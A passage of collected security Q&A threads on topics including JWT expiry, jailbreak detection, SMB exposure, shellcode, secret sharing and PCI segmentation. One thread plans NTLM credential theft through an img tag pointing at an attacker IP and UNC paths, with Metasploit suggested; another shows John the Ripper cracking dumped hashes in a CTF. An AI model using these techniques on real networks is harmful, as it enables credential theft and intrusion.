Finally, if the service you're trying to identify is a Hidden Service all bets are likely off - they're designed to distribute the sort of traffic you're looking for on one link by deliberately adding a number of pre-trusted routers into the equation, which would negate any knowledge you had of the network.


Should an iOS app be allowed to run on jailbroken devices? Considering the iOS apps which are to be used by general public (transfer money, booking tickets, chat, video etc):

Is there a way so that an app can't be installed on a jailbroken device?
If an app is made such that it doesn't run on a jailbroken apple device, is it a good security measure? E.g. will deep file system and binary analysis be stopped?
Can Apple control which apps can't run on jailbroken devices?

I will attempt to put together an answer based on the comments.
In broad strokes, you're right that life would be better if apps with sensitive data refused to run on jailbroken devices. That said, the whole point of jailbreaking is to rip open the security features of the operating system and allow apps to have root access. Your question

Should an iOS app be allowed to run on jailbroken devices?

is kinda like asking

"Should valuable jewelry be allowed in my house after I've removed all the doors and windows?"

I mean, no, they shouldn't, but that's really your fault, not the jewelry's.

Is there a way so that an app can't be installed on a jailbroken device?
Can Apple control which apps can't run on jailbroken devices?

Only Apple can provide a proper answer to this, anything said here will be speculation. The short answer is: not really or not reliably.

Google "how to detect a jailbroken iphone" and you'll fined a pile of articles and Stack Overflow questions which basically confirm that people do try to detect if their app is running on a jailbroken device, but it's a game of cat-and-mouse:

Jailbreak Detection Methods
How to detect that the app is running on a jailbroken device?

Like any other rootkit, the authors of jailbreak tools want to make it hard to detect whether or not the device is jailbroken. By trying to detect it, you're basically entering into an arms race with the rootkit authors.


Securing connection credentials on a web server I'm in process of creating a tiny blog platform and I've encountered a pretty controversial topic of storing connection string to a DB securely on a host. Here is a reference question: How to encrypt database connection credentials on a web server?.

As of my question: I thought of storing credentials in gpg-encrypted file somewhere in /etc folder of Ubuntu 14.04 host. Whenever server starts it would prompt a sysadmin (me) to decrypt a file and then there is need of a service that would run in a background waiting for a site back-end to query it for a connection string. Then it would return all the necessary for DB connection information and back-end would proceed with querying a DB itself.

IMO with this approach the only place where a password is stored on up-and-running server is RAM. Whenever server crashes because of malicious attack or attackers managed to dump web root they still can't get the password as password granting service works on a system level.

Is it a good security scheme? What alternatives would you propose (Python Flask, MySQL and peewee)? Also if my idea is not that bad how can I implement that "service" to run in a background and wait for a credentials query (preferably some kind of a bash script)?

Thanks in advance!

Is it a good security scheme?

Yes, it is reasonable.  Usually people don't do this because they want automated systems, and the downtime caused by needing to manually enter a password every time the app restarts is beyond what they'd consider acceptable.

  What alternatives would you propose (Python Flask, MySQL and peewee)?

Basically all the things mentioned in the question you linked to.  Personally, I'm a fan of Vault, which is a separate HTTP server that stores your secrets.  It's not at all a perfect solution: you still have to authenticate to it, which practically means you end up with a temporary session token that you store in plaintext on your server.

  Also if my idea is not that bad how can I implement that "service" to run in a background and wait for a credentials query (preferably some kind of a bash script)?

With programming?  You're probably going to want to just do this in your application code as part of its startup process.


Handling jwt token expiration I have a koajs based nodejs backend for my personal/hobby app. I implemented session handling with jwt tokens. Now the client gets his token after a successful login authentication so my angularjs client stores the token somewhere (currently in sessionStorage but for this question we doesn't care about the storage). I have two questions

When I need to update the user record which the jwt represents, say, the user turned on 2FA so I asked him to provide his phone number and I'd like to set this phone number in the user's record. Currently, after a successful verification on the phone number I call my backend to update the user record and I create a new JWT token with the updated user record (I exclude sensitive information from the jwt token like the hashed pwd and others.., but I'd like to include the phone number for client side usage). So, basically the question is, is it okay to create a new token when some of the credentials change and update the existing client side token with this new token? Should I never-ever create another token, only to create the one and only upon successful authentication? How to I update then the payload in the token?
How should I handle expired jwt tokens? In my mind I have 3 (possible) scenarios:

The jwt is set to short living, say 15minutes. If the backend server replies with a 401 Unauthenticated 'ivalid token' (I guess this is the default behavior of koa-jwt) then I automatically log-out my client and require re-authentication. But I also set up a complementary middleware which is the last in the chain on the backend to re-create the token with a refreshed expiry and the client would also replace the existing token with the refreshed one. So if the user is active and uses the application every protected api call, in case of success, would create a new token to replace the old token.
The jwt is set long-living, say 1 week, and if it expires I opt-in re-authentication from the client.
Copy https://tools.ietf.org/html/rfc6749#section-1.5. Here when creating the jwt token after a successful authentication we send an access_token as well as a refresh_token. When the access_token is expired and the server responds with HTTP 401 'invalid token' (koa-jwt default) then the client sends the refresh_token to the backed to require a new access_token (& optionally a new refresh_token). In this case I don't fully understand how the refresh_token is verified against the old access_token to provide a new token? Or why do we need to have a refresh_token?

Basically I just need generic advice on the upper topics (jwt updates and jwt expiration). Thanks

"is it okay to create a new token when some of the credentials change"

Absolutely. Tokens should generally be short-lived anyway so creating a new one isn't a problem.
The answer here partly depends on how you are handling the man-in-the-middle replay attack problem with JWT. If you aren't doing anything, your tokens need to be very short-lived but you may not want your clients to have to constantly log back in. That's where the refresh mechanism comes in. It gives you an optional intermediate capability to refresh tokens without a full login.

If you are handling the MITM issue, you will have additional, server-side security in place to validate user tokens. In that case, you can afford to have longer lived tokens.

Either way, if the users change their security details in any way, it seems sensible to invalidate the token and require another login. But it is entirely up to you. You need to understand the value of the users and their sessions and the risks. When you understand that, you can sensibly decide how much risk you want to carry and how best to mitigate the risk you don't want to carry.


How can I make my Windows Server accessible from another Windows PC over the internet safely, without using VPN? First, some backrgound context as follows:
I have a Windows Server 2008 running for my company. It contains an ERP, which is accessible by other computers/clients on LAN. During the client setup, the only thing the client softare needs is, access to the shared folders on the Server. After the setup, the software on the clients just uses these shared folders for its communication with the ERP on the server. I believe the ERP server-client communications are unsecure, but I guess it's fine since it is only used within the LAN.

Now, I would like do the exact same thing as above, but for a client that is on the internet, hundreds of miles away. That is, the client needs to access the shared folders, just like the clients on LAN. Additionally, is there any way to make it secure, without using a VPN (because the VPNs in this area are usually not allowed by the local regulations)?

I thought of port-forwarding, but I realized I don't know exactly which ports windows uses for sharing folders, and quite possibly, the port-forwarding option might be insecure.

Thank you for taking the time to read & helping me out!

Given what you're saying, you unfortunately don't.

If the client communications are not properly secured (and based on ERP software I've seen, this is almost certainly the case), then you need security at another layer to keep thing secure (and even if they are secured, you should have another layer present before people can access it so that it's harder to attack).

You might be able to get things working with IPSec.  It's a serious pain in the arse to set up compared to stuff like OpenVPN, but it's also not as widely or reliably blocked.

Alternatively, if the client software truly only needs access to the shared folders (I doubt that this is the case, it's much more likely that it also needs some form of IPC with the main system), you may be able to get it working by forwarding port 445 (the port for TCP-based SMB connections) externally.  However to do this securely, you will need a newer version of Windows Server that properly supports SMB encryption (the first edition that did was Windows Server 2012).


Passcode and encryption Does a passcode encrypt data on a device?

Do additional steps need to be taken in order to encrypt the device, even when a passcode is already set? Or does having a passcode mean the data is encrypted?

Please clarify what you mean by device?

I am assuming mobile phone/tablet, in which case I can answer for Android based devices. Simply having a passcode/pin set to lock/unlock your android device does not encrypt the data stored on the devices flash memory. This is an additional setting that can be configured under Settings - Security, usually titled "Encrypt Phone" or similar.

Most phones will have this setting off by default, however Marshmellow (Android 6.0) now has encryption on by default. Turning this setting on will usually result in having to enter your passcode at boot time (when you switch the phone on) in order to decrypt the storage before the OS starts up.

Some versions allow you to set a different passcode for the disk encryption to the one you use to unlock the phone, which allows you to set a longer more secure password without the inconvenience of having to enter it every time you unlock the device.

I believe the latest version of iOS also has encryption enabled by default, however I am not an iPhone user so perhaps someone else can confirm this.


Should the pentester seek features to test by himself? Imagine we have a dev team

developers
team lead
scrum master
...

When a new feature is planned to be implemented, should it be sent to the security team by the dev team lead (to evaluate whether it needs to be tested) or the someone from the security team should seek for them  by himself by attending to meetings? We have like 10 different products.

There's no scripted answer to this.
This aspect is to be discussed and agreed to by the devs, the security team, their managers, the board, etc. Development and security are tools, the means to an end. If they don't happen consistently and collaboratively you're not being efficient.
a) new features should be planned with security in mind, with the input from the security folks;
b) features are implemented with the intention of being pentested regardless of by whom;
c) issues/faults are supposed to be found, info loops back to the devs and the cycle continues;


What is the purpose of the instruction fldz on the Aaron Adams shellcode? I'm studying the Aaron Adams assembly code. You can find the documentation here (section --[ 2.b.i Getting EIP).

I understand that the goal is to get the EIP.

I know that the FPU environment looks like below:

struct _fpstate_32 {
/* Legacy FPU environment: */
__u32                cw;
__u32                sw;
__u32                tag;
__u32                ipoff;
__u32                cssel;
__u32                dataoff;
__u32                datasel;

And ipoff contains the EIP.

So the fnstenv [esp-12] puts cw,sw,tag and ipoff on the stack and then I can get the EIP on ECX with pop ecx.

But I don't understand the purpose of fldz.

fldz "Push +0.0 onto the FPU register stack". It means we have a second stack on the FPU? And why do we need to do this?

From what I understand, the value of EIP that you've mentionned (ipoff) is actually the value taken from the Last instruction pointer register.

Therefore, when calling fnstenv [esp-12], the value that will be pushed on the stack will be a pointer to the fldz instruction, since its the last floating point instruction to be executed before calling fnstenv.

Without it, the value returned by fnstenv could be anything.

Reference : https://home.deec.uc.pt/~jlobo/tc/artofasm/ch14/ch143.htm

  The instruction and data pointer registers contain certain state information about the last floating point instruction executed.


Can website get hacked by iframe injection? My website has been hacked. I am observing how hacker accesses my site. Though I have been using bindparam to prevent from sql injection and direct access restriction for backdoor attack, hacker's change my index.php page and run their own script. S/He put following line <iframe width='1' height='1' src='https://www.youtube.com/embed/hKdyS_bgUbM?rel=0&autoplay=1&loop=1&playlist=RvpkUhrTmxY' in their uploaded html script.

I doubt I am become victim of xss attack. So I search in google about possible script attack and found about iframe injection. And in one youtube video, it is said that - if your iframe's width and height can be changed, iframe injection can be easily applied and hacked. What he is saying ?

I inspect element through mozila firefox inspector, my iframe's width and height can be changed and applied in body live iframe. Does he talk about my case ? Is my website hacked by iframe injection ? If it is, how to prevent. My website is still vulnerable, because I have only removed their index.php code and  restore previous index.php which had been hacked, nothing has been changed. Please help.

Is my website hacked by iframe injection?

No. Iframe injection means that an attacker has altered your site to load a malicious site's content into your page, carefully hidden.  The injection refers to the malicious content being loaded into the browser that goes to your site, not how the malicious code was put onto your site.

When you say

  hacker's changed my index.php

and

  I have only removed their index.php code and restored previous
  index.php which had been hacked

That indicates to me that your site must have been hacked in another way, one that allowed the attacker to modify the files on your disk.

To recover, you need to determine how, tighten security, go back to a clean version, and try to monitor for it happening again.  A canonical answer on how to recover from a hacked site is How do I deal with a compromised server?


How does does the "Sign out all other sessions" feature work in Gmail? In Gmail, at the bottom of the screen if you click Details it will show you your recent account activity and there's a button to sign you out of all other sessions. How does this work? Are they somehow revoking cookies from the server side?

This is a pretty simple task to accomplish.

Basically the server will store the session IDs of each individual active session in a database somewhere. Revoking a particular session is a simple task of removing the record from the database, which will invalidate the session.


bot detection via browser fingerprinting I've recently noticed that a few companies have begun to offer bot and scraping protection services based on the idea of browser fingerprinting to detect them, and then blocking the specific fingerprint from accessing the site (rather than blocking the IP).

Here are a few examples:

http://www.distilnetworks.com/
http://www.fireblade.com/
http://www.shieldsquare.com/how-it-works.php

There are differences between them, but apparently all of those companies use Javascript to get detailed browser specific fields like plugins, fonts and screen size, and resolution, combine them with what can be obtained from the HTTP headers and use this data to classify the client as bot/human.

My question then is: Is this approach robust enough? How hard would it be for an attacker to spoof all of the data fields that the Javascript client sniffs (plugins, fonts, OS, etc.)? What measure of protection does this approach provide - only against not-very-sophisticated bots, or is it really that hard to overcome?

I've seen similar services which work as a proxy and encode all your webpages in some really obfuscated Javascript, so that a real browser would have no problems browsing that site while it would be really hard, if not impossible (what if the JS was random and different with each request) for a conventional scraper to do the same.

The problem is that it's really easy to defeat all these approaches just by running a real browser and not wasting your time creating a scraper.

Take a look at Selenium WebDriver, which allows you to attach to a real browser and control it programmatically - none of these solutions will detect it since it appears as a clean Firefox (or Chrome, or any of the supported browsers) installation to the outside world.

Rather than wasting your time trying to block the bots, ask yourself why do you want to block them - if they're overloading your web server, implement IP-based rate limits, if they're spamming implement some captchas, otherwise let them be, they aren't doing any harm to you.


OWASP ZAP submit forms I'm trying to find SQL injection vulnerability in DVWA with OWASP ZAP. After some clicking through the page I have a small site map:

I ran Active scan, Spider and AJAX spider on the GET:sqli node. As you can see in the screenshot above, SQL injection vulnerability was not found. Neither was the form action from the https://localhost:8081/vulnerabilities/sqli/ page:

Only if I manually submit the form, the form action shows up in the Sites tab:

And only if I run Active scan again, the SQL Injection vulnerability is detected.

Is there any way to force spider / active scan to submit forms and detect their vulnerabilities automatically?

By default the ZAP spiders do submit forms, although you can turn this off for the traditional spider. Likewise the active scanner will by default attack both GET and POST requests, but again this is configurable.
Why it didnt in this case is another matter, and would require more investigations. The ZAP User Group might be a better forum to help investigate this: https://groups.google.com/group/zaproxy-users


"Transferring" SSL certificate to another person Last year, I did a lot of work on a site as a freelancer. We wanted to put the whole thing behind HTTPS, so, for reasons I can't recall but probably expediency-related, I purchased a cert for it under my personal account at a service that sells certificates. At the end of the year, I stopped working for the client to have more personal time.

The cert will come up for renewal soon, and the certificate service sent me a notification about that prompting me to re-up the cert. The client is asking me how we can transfer the certificate to his name. I'm not sure if such a thing is possible, and I couldn't find any information about doing this online.

Is it somehow possible to transfer ownership of the certificate to my former client, or should he simply buy a new certificate with an account he controls and have his current web developer(s) put that in place of the soon-to-expire certificate that I purchased?

Just let them buy a new one.

You may be thinking of a process like in DNS ownership transfer. But there is no such thing for certificates.

Anyone who can answer an email for admin@example.com will get a certificate for example.com.  It's as simple as that.


How was Lowe's website exploited to steal merchandise? How was Lowe's website exploited to steal merchandise? It says they were able to order products without paying for them.

http://www.foxnews.com/us/2017/08/16/couple-exploited-lowes-website-glitch-to-steal-resell-items-authorities-say.html

  Kimy and Romela were charged Tuesday with theft, fraud and computer criminal activity. Law enforcement officials alleged that they exploited a gap in the store’s website that enabled them to have merchandise shipped to their home without making payment.

How is it their fault if Lowe's sent them free items?

Press reports don't go into much more detail than this:

  They employed a online scheme known as “glitching” – exploiting a weakness in online retail websites by logging in coupon codes that wrongly bring goods at dramatic discount or for free, store investigators said.

(Source)

This sounds like a calculation error in their web shop software or human failure. E.g., an employee might have mistyped a 10% discount coupon as 100%. The couple probably discovered that bug by accident and presumably neither of them has an information security background.

  How is it their fault if Lowe's sent them free items?

Come on, you don't need legal expertise to agree that repeatedly exploiting an obvious mistake by the retailer is fraud.


Is my sha1 SSL cert safe if they expire before 2016? According to the Google [1], if my SSL cert expire after 2016 and at some points they will show a warning.

But, if all my cert expired before 2016, so I assume no action need to be taken to prevent the warning, right? (Of course except the renewal)

[1] http://googleonlinesecurity.blogspot.co.uk/2014/09/gradually-sunsetting-sha-1.html

But, if all my cert expired before 2016, so I assume no action need to be taken to prevent the warning, right?

Correct.

Chrome (your link),
Firefox (https://blog.mozilla.org/security/2014/09/23/phasing-out-certificates-with-sha-1-based-signature-algorithms/)
and Windows (http://blogs.technet.com/b/pki/archive/2013/11/12/sha1-deprecation-policy.aspx)

should not complain.

Further reading if you're interested: http://blog.ivanristic.com/2014/09/sha1-deprecation-what-you-need-to-know.html


Based on these HTTPS requests what type of attack is this? I'm seeing over 1000 attempts to hit my API endpoints with many 500 responses. It seems clear that the would-be attacker is attempting to poke around the APIs, but it isn't clear to me what type of attack they're attempting. Hoping someone here can identify this.
Many of the requests include a random string in a handful of locations, e.g. zcexystba7:

The Origin header is set to https://zcexystba7.com
The user agent is set to Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0 zcexystba7
The Accept header includes text/zcexystba7
The Accept-Encoding header includes zcexystba7
A GET request URL parameter includes zcexystba7=1

Sometimes only a subset of these exist with the random string. The string varies in length, e.g. yg6x1 is another example. Almost all of the requests include the random GET request parameter.
My first thought was maybe a BREACH attack, but the random string used in each request doesn't look like anything secret to me. I don't think that's it.
The timing of the requests indicates that the attacker is using a tool/script (e.g. 20 requests in 1.5 seconds).
Any ideas what the attacker may be attempting to accomplish?

It's difficult to know just by looking at the requests exactly what the attacker is attempting. However, the most likely scenario is that the attacker is simply fuzzing your API and looking for any anomalous responses that would warrant manual review by the attacker.


Using a Web Server to steal NTLM credentials I am trying to design an attack vector against an organization in which the pen tester (myself), steals NTLM credentials through HTTP. I am thinking of these scenarios:

1- I set up a web server on my machine and social-engineer the users to visit it.

2- I send an email with an embedded <img src="my.ip.address/x.gif"/> so that Outlook sends the NTLM credentials automatically.

3- I use XSS on a local website of theirs to get the NTLM credentials.

4- UNC path to my IP address in a Word file.

I would like to get help and opinions in the following matters:

Do you know of any tool that helps automate some parts here?
Will linking to users by IP address actually force them to use their NTLM credentials, not Kerberos?
Can I pull this attack on non-IE?
Does it have to be a Trusted Zone in IE? Will my IP address (local in their network range, not external) be considered a Trusted Zone/part of the domain in IE?
How can I get it in XSS? What kind of XSS code can help here?
Will Outlook Word document preview execute my UNC trick correctly or do they have to download and run it?

Thank you very much.

Tool of choice: Metasploit (UNC-Path into Docx , Metasploit generic NTLM relay)
Kerberos: Is not a problem, since it have to be implemented on your(!) server otherwise the victim will send you NTLM / NTLMv2 (maybe you are able to downgrade to v1)
IE Trusted Zone: Normally the local subnet have an own security zone, which is normally pretty low
Outlook preview (see UNC-Path into Docx)

Nice attack setup btw ;-)


I'm called several times per day by the same number but I hear nothing. What security implications can it have? For some time, I'm called several times per day by the same phone number. If I answer the call, the line is completely silent. On only one occasion I heard a standard "elevator music". No matter what I say or don't say, the line remains silent. If I don't disconnect, then it disconnects itself automatically after exactly 1 minute.

I did a google search for this number, and discovered forums where many people report the exact same thing I described above. Most say the line is silent, a few say they hear a generic telemarketing text about some medical products or a job offer. I never called it back, but those who called it back report that no one answers, they hear generic elevator music ad infinitum, or a robotic voice tells them the call is restricted.

Why I'm posting this here, is because I'm curious whether this can be an attack vector, or if it can have some other nefarious purpose. A telemarketing call I can understand, but to call and not say anything, probably do it for a huge number of people, there has to be a reason they invest time and money in this scheme.

What purpose can such a scheme have?

trick people to call them back, and milk them via a premium number service? The number seems to be a perfectly ordinary landline number from the same country I'm in. Can such a thing be disguised?
To know which phone numbers are in use by people, so they can later sell this list to telemarketers? In this case, one call should have been enough, why make several calls per day for many weeks?
Phishing, hoping that people answer with their names or they blurt out other information about themselves, so they can build a list with names and phone numbers? I never say my name when an unknown number calls me on my private phone.

Getting someone to answer a phone call tells you roughly two things.

The number called is a valid, active number.
The person answering is reachable at that number (and probably "on the phone" at the moment they answer the call).

The security implications of those two things can vary widely, from basically nothing at all, to literally life and death.  That's enough information to kill someone with an exploding cellphone, for example.  Basically, someone on the other end of the phone can ascertain that the number they dialed is valid, and that you're (probably) in close physical proximity to your phone.  Depending on what other resources and information they have, they may be able to translate that into the physical location of you and/or your phone.

It's definitely plausible that this could be used for surveillance or location-tracking, either by law-enforcement or non-government organizations (having basic location data about you would be useful to someone wanting to burgle your home, for example), however, as noted in the comments, that's very unlikely in this specific case.  In this specific case, what happening is that you're being dialed by a telemarketing operation that doesn't have either the resources or motivation to surveil or assassinate you.  As mentioned in comments, this is probably just the result of a buggy or poorly designed setup - the best and brightest technical talent doesn't typically get into telemarketing for shady fly-by-night operations, and it may well cost more to fix than it's worth.


Do known plaintext attacks lead to exposure of the key? I say that if a professional code breaker has a bunch of data, the encoded version of said data and the encoding method he can figure out the encoding key.  It is just a matter of having enough data. Is this true?

How much data or how many characters (with matching coded characters) would a professional need in order to come up with the code key?

I assume you mean encryption when you say "encoding".

This model of attack is known as the known-plaintext attack. It is a situation where an attacker has samples of both the encrypted ciphertext and the corresponding plaintext. All commonly used encryption schemes thought to be secure are resistant against this form of attack (resistant meaning there is no better method than a naive bruteforce attack on the key).

In fact, most modern symmetric ciphers are secure against a much stronger model of attack, the chosen-plaintext attack where an attacker has the ability to encrypt arbitrary amounts of plaintext data and obtain the corresponding ciphertext.

So the answer to this is no, you are very wrong, at least when referring to encryption schemes that you should be using in real world situations.


John the Ripper keep throwing errors The error I'm getting is this:
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

I'm not sure if there's something wrong with using this directory. Must I use a different user account than root? Must that other user account have root or bash authority, I have no idea about most of this stuff. I'm sort of just following the instructions on the LAMPSecurity CTF exercise 7 PDF.
The password file I'm using was from a dump off of a CTF8 server's website is rockyou.txt
The command I'm using is this:
john --wordlist=/usr/share/wordlists/rockyou.txt –-format=raw-MD5 /root/hashes.txt

And yes, both files are in those correct directories. rockyou.txt is the default common-passwords list that comes with Kali's default version of John the Ripper. I had to actually pull the rockyou.txt file out of the rockyou.txt.gz compressed file, and I merely left it in that same folder.
I have tried moving both files into the same directory, /usr/share/wordlists. I have even tried to use the unshadow command and point the command to create a myhashes.txt. The myhashes.txt didn't work at that point either.
Kali Linux 2016.2 kali-rolling.

BACKGROUND:
I'm doing the LAMPSecurity CTF Exercise 7. I'm stuck on page 49 of the PDF instructions for hours doing internet searches and not being sure what to do. It has us using a CTF8 linux server and the instructions are for backtrack, but I'm using Kali Linux instead.
It has us run a version of the server before it's been updated and patched so that it has plenty of vulnerabilities. Using a vmware, I set the network cards to the host-only private network on both Kali linux and CTF8.
I was able to exploit the vulnerability as per instructions in the comment box in order to obtain a password hash dump file named hashes.txt.
I'm not really sure what to do next. I'm hoping someone else has done this exercise and knows what they did to solve it, or if you have more experience with Linux and can intuit what I'm doing wrong, that would be great as well.

UPDATE:
Thanks a lot for your help, HAlmussajjen. HAlmussajjen helped me solve this in a chat. All of the hashes in the file were listed as `username.number`. "Number" of course meaning the actual hash value. Apparently, all stupid me needed to do was to delete the "username." before each hash number. Boy, was that an ordeal just for something simple.

Just make sure the hashes are in the correct file and path and then
I would recommend you to try the following command:
john --wordlist=/usr/share/wordlists/rockyou.txt –-format=raw-MD5 /root/hashes.txt

or
john --wordlist=/usr/share/wordlists/rockyou.txt /root/hashes.txt

if this didn't work and you're logged in as root, I think there is a problem in the tool it self, delete it and reinstall it


What is a simple way to "2 out of 3"-secure a 24 words phrase without computers? I'm working on a safe way to store a mnemonic key.

It's 24 words long.
Each word is 11 bits of entropy, based on a standard word-list
I want to store it in 3 locations
One plate should not allow you to unlock the code
Two plates should allow you to unlock the code

Now to the interesting challenges

If I die, I want my loved ones to be able to extract the mnemonic
keys. They know nothing of cryptography.
To protect it from fire, I'm etching it on metallic plates so the
instructions for unlocking can't be to long or complicated.
I want it to last for at least 100 years, so I can't rely on any
current computer software.

My first idea was to just leave 8 different words out of each plate, but that is just 88 bits of entropy, too little to crack (or is it?). There are also tools to do Shamir's Secret Sharing Scheme, with mnemonic phrases, but it's not really something you do without a computer.

Is there some other good way to increase the bits of entropy without too much complication? Maybe mixing up the words or add extra words or something?

I propose plates with the following instructions, a decoding table, and a block of monospaced text (different on the three plates), as follows:

Take two plates and combine the text at their bottom, letter by letter, using the following decoding table, in order such that the first decoded character is . (figuring space). Ignore it, then decode the rest in the same manner to obtain the passphrase.

    | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z .
----+------------------------------------------------------
- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z .
- B | C A B F D E I G H L J K O M N R P Q U S T X V W . Y Z
- C | B C A E F D H I G K L J N O M Q R P T U S W X V Z . Y
- D | G H I A B C D E F P Q R J K L M N O Y Z . S T U V W X
- E | I G H C A B F D E R P Q L J K O M N . Y Z U S T X V W
- F | H I G B C A E F D Q R P K L J N O M Z . Y T U S W X V
- G | D E F G H I A B C M N O P Q R J K L V W X Y Z . S T U
- H | F D E I G H C A B O M N R P Q L J K X V W . Y Z U S T
- I | E F D H I G B C A N O M Q R P K L J W X V Z . Y T U S
- J | S T U V W X Y Z . A B C D E F G H I J K L M N O P Q R
- K | U S T X V W . Y Z C A B F D E I G H L J K O M N R P Q
- L | T U S W X V Z . Y B C A E F D H I G K L J N O M Q R P
- M | Y Z . S T U V W X G H I A B C D E F P Q R J K L M N O
- N | . Y Z U S T X V W I G H C A B F D E R P Q L J K O M N
- O | Z . Y T U S W X V H I G B C A E F D Q R P K L J N O M
- P | V W X Y Z . S T U D E F G H I A B C M N O P Q R J K L
- Q | X V W . Y Z U S T F D E I G H C A B O M N R P Q L J K
- R | W X V Z . Y T U S E F D H I G B C A N O M Q R P K L J
- S | J K L M N O P Q R S T U V W X Y Z . A B C D E F G H I
- T | L J K O M N R P Q U S T X V W . Y Z C A B F D E I G H
- U | K L J N O M Q R P T U S W X V Z . Y B C A E F D H I G
- V | P Q R J K L M N O Y Z . S T U V W X G H I A B C D E F
- W | R P Q L J K O M N . Y Z U S T X V W I G H C A B F D E
- X | Q R P K L J N O M Z . Y T U S W X V H I G B C A E F D
- Y | M N O P Q R J K L V W X Y Z . S T U D E F G H I A B C
- Z | O M N R P Q L J K X V W . Y Z U S T F D E I G H C A B
- . | N O M Q R P K L J W X V Z . Y T U S E F D H I G B C A

EKIAIJEBRP.ZOXHAOLKXMBWSPENLGKIIJYRDEYJQYOYISHMLQPRPNHKEPHNOLOMBCRDMGNXRSHBCQOVZFNIRIQFGPONEFDXAO.ILFHLCJEPVC..K

RTXAYBREAOWMYWXAWVYYXDIUBUSHKMVQWMJWVBHDBDNNEIBANTFECVXE.LVAFYBIMLTBD.PNYLCCCYNUN.XUJPVGQE.CFHPNRMYRPPLBBATDXMMG

SBLAQUSHWKSCBVJADHFTEIJTXPIVXRKYIANOOOXUOWCSRG.TKFUUYLGEHVFZ.B.DZOR.AABJVVACVBFVVALFWRNGRVAGFCB.LBQOT.LAUIFMRBBX

(Each plate has only one of the three above blocks of text).

This decodes to (including the leading .to be ignored)

.SMALL.GREEN.BOAT.WITH.BROWN.HOT.MILK.ON.LOW.COLD.MOON.AT.TOP.OF.GOOD.RED.CAR.LIT.MY.BLACK.FAIR.GOLD.TABLE.SPOON

This is a manual Shamir secret sharing performed on the individual letters of the passphrase, using a Latin square. I'll introduce the principle with an example using 3 symbols, before describing the full system.

If the key was composed of n digits among 012, noted Kj where 1 ≤ j ≤ n , e.g. 120221.. we could proceed as follows:

one plate is marked E followed by n random digits among 012, noted Ej,
  e.g. E012101..
one plate is marked R followed by n digits among 012, noted Rj, with
  Rj = (3 + Ej - Kj) % 3;   [where % is the modulo operator]
  e.g. R222210..
one plate is marked S followed by n digits among 012, noted Sj, with
  Sj = (3 + Rj - Kj) % 3;
  e.g. S102022..

To recover the key for any two plates, use that
     Kj = (3 + Ej - Rj) % 3;
     Kj = (3 + Rj - Sj) % 3;
     Kj = (3 + Sj - Ej) % 3;
depending on which plates are used. This recovers the key. Each plate in isolation is random, thus gives no clue at all about the key.

Equivalently, encoding and decoding can use this subtraction table:

    | 0 1 2
----+------
- 0 | 0 1 2
- 1 | 2 0 1
- 2 | 1 2 0

This is adapted to more than three symbols by representing them in base 3. The 26 letters and the special sign . (for space) can be written as three digits in base 3, with the alphabet ABCDEFGHIJKLMNOPQRSTUVWXYZ. represented by 000 to 222. The table for subtraction ( - ) is the one on the plates.

One plate has uniformly random characters ABCDEFGHIJKLMNOPQRSTUVWXYZ. except the first is E, and the other two plates are prepared from the key, with a dummy K0 set to ..

    Rj = Ej - Kj
     Sj = Rj - Kj

Decoding is per the equations:

    Kj = Ej - Rj
     Kj = Rj - Sj
     Kj = Sj - Ej

The E R S at start of the plates allow identifying them, and lead to the decryption of . as the first character.


How to get help from an ISP to take down a phishing campaign? My company is suffering from a phishing campaign. Over the last two months we have tried to issue a take down to the ISPs (publicdomainregistry.com and confluence-networks.com) – both of them seem to have connections.   However, after bunch of e-mails and phone calls nothing changes, and the fraudulent websites still exist, and continue  to collect valuable information from the customers and even replicate to new domains.

Can someone help me out and tell me what to do if ISP is not cooperative ?

Did you try the Goverment CERT in your country? In my experience they can be pretty helpful in such cases and usually have the right contacts at ISPs to initiate a takedown


Clarification on being PCI compliant So let's say we have a production site that requires VPN access to the datacenter. We also have a dev/qa datacenter in a separate datacenter with it's own VPN connection. When we're sitting in the office we have an IPSEC tunnel to the dev/qa datacenter, but we have to connect via VPN into production. So, if we're in the office life is good, I can connect to a dev machine or a prod machine BUT I cannot jump from prod to dev and vice versa.

Everything was fine but just recently the network guys got rid of the route that allowed us to use one VPN in order to connect to prod and dev (can't hop between datacenters). We were told it would be a PCI violation, I'm just looking for clarification on whether this is true or not. When we're working from home, it's such a hassle to have to connect and disconnect between the two VPN.

More info (clarification):

When on a dev machine, I should NOT be able to connect to a prod machine and vice versa.
When I'm sitting in the office, I can freely connect to a dev machine from my laptop but in order to connect to a prod machine (from my laptop), I have to connect via VPN. I CANNOT jump between datacenters from host to host.
At one point, when we're working from home, we could connect to the prod VPN and connect to both the prod and dev datacenters BUT we cannot jump between datacenters via a local host in the DC.

In addition to Baordog's answer note that PCI encompasses all networks where you store credit card data. It would not seem unlikely that they consider such link a violation in terms of segregating your PCI environment with a non-pci environment.

  PCI DSS applies to all systems components … connected to the
  cardholder data environment (CDE). The CDE includes people, processes
  or technology that store, process or transmit cardholder data. Network
  segmentation, or isolating (segmenting) the CDE from the rest of the
  network … is strongly recommended. Without adequate network
  segmentation the entire network is in scope of the PCI DSS assessment.
  … adequate network segmentation isolates systems that store, process,
  or transmit cardholder data from those that do not. Documenting
  cardholder data flows via a dataflow diagram helps fully understand
  all cardholder data flows and ensures that any network segmentation is
  effective at isolating the cardholder data environment.”

It might be that your PCI auditor made a comment about the fact that this segregation is not enough, which risks taking into scope the QA and Dev environments for your PCI network. And that therefore the network administrators decided to disable that rule.


Is adding docker group not a good idea? Question

Is creating a docker group could be a bad idea from security perspectives?

I saw stack exchange answers which tells to create docker group to avoid issues of needing root permission or sudo.

However I think the article Why we don't let non-root users run Docker in CentOS, Fedora, or RHEL  makes sense too.

  Docker has the ability to change the group ownership of the /run/docker.socket to have group permission of 660, with the group ownership the docker group. This would allow users added to the docker group to be able to run docker containers without having to execute sudo or su to become root.

Related

Don't expose the Docker socket (not even to a container)
Access Docker socket within container
The Dangers of Docker.sock

The documentation (especially the Manage Docker as a non-root user part of Post-installation steps for Linux) is really clear on this:

  Warning: The docker group grants privileges equivalent to the root user. For details on how this impacts security in your system, see Docker Daemon Attack Surface.

Creating the docker group by itself does not imply a security risk (which is what you have been asking). But adding a user to this group may increase your attack surface (which is what you probably wanted to ask). The actual security risk depends on your threat model.


